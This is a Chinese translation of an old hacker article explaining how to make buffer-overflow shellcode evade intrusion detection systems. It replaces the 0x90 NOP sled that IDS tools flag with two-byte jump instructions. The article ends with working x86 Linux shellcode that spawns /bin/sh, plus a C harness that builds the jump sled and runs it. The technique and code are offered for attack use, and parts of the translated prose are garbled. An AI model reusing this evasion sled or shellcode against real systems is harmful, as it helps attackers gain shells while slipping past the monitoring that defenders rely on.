|
编写反入侵检测的shellcode
------------介绍:
最近几个星期,我钻研了一下类似于Snort的入侵检测系统(IDS,Intrusion Detection
Systems)。发现在检测CGI漏洞时能够成功避免被探测的好些方法已经被RFP(rftp@wiretrip.net)做出来了。此外其他一些常见的入侵探测,如端口的扫描等也可以成功的避免被探测,这些使用了Stealth-Scaners,如Nmap。但我注意到IDS能够对一个尝试制造缓存溢出的信息做出检查。当我通过网络搜寻反入侵检测系统的方法以避免被探测的东西时,我发现更本还没有。所以我决定认真的思考一下
:)
------------探测:
IDS会探测一个正在尝试分析网络擦处踪迹的入侵者,当它们发现一个 0x90(NOP)时,他们会把这些包的细节记录到档案中。
------------反入侵检测策略:
这里关键的问题是在一段shellcode中包含了NOP指令。Exploits经常在一堆代码中填塞一些NOP指令以此来返回地址。问题就在于这个NOP指令。shellcode的关键(很可能是开始执行的或者添加到passwd的一行)不需要改变因为它并不包含NOP.问题出来这-
for(i=0;i<(LEN-strlen(shellcode));i++){*(bof+i)=0x90;}
这里stact 的开始用NOP 填。 NOP 仅仅被使用来向下一指令跳起没有对装配代码的实行任何修改。 NOP=无操作。
但是相同函数可能通过使用一跳下一结构( jmp 0x 00) 取得。
------------问题:
1) 转移指令( 0xeb 0x00) 是与仅仅一字节的NOP 指示不同的二字节。 因此补偿必将更难计算,因为返回地址是在0xeb和0x00之间,然后crash,boom,bang
:)
2) 一段好的shellcode 不被允许由二进制0的组成和(0x 00)这个所作。
------------解决办法:
1) 如果exploit不工作,自从jmp指示是2 个字节,我们必须增加或者从位移中减去1。
2) 如果我们不能跳转一字节,我们跳转两个字节( jmp 0x02),这不会有二进制的零并且将能很好的运行。
------------代码:
换掉这个 :
0x90
变成这个 :
0xeb0x02
------------感谢:
Mixter,让我知道了如果跳转二进制的零会有问题和所有我问的问题:)
------------x86的范例代码------------
char sc[] =
"\xeb\x1a\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3"
"\x8d\x4e\x08\x8d\x56\x08\x31\xd2\xcd\x80\xe8\xe1\xff\xff\xff/bin/sh";
char buf[256];
int main() {
/* memset(buf,0x90,256); */
int i;
for (i = 0; i < 256; i += 2)
*(short *) &buf[i] = 0xeb02;
memcpy(buf + 256 - strlen(sc), sc, strlen(sc));
((void (*)(void)) buf) ();
return 0;
}
原作者:Xtremist (xtremist@2xs.co.il)
中文翻译:eastdark(eastdark@seceye.com) |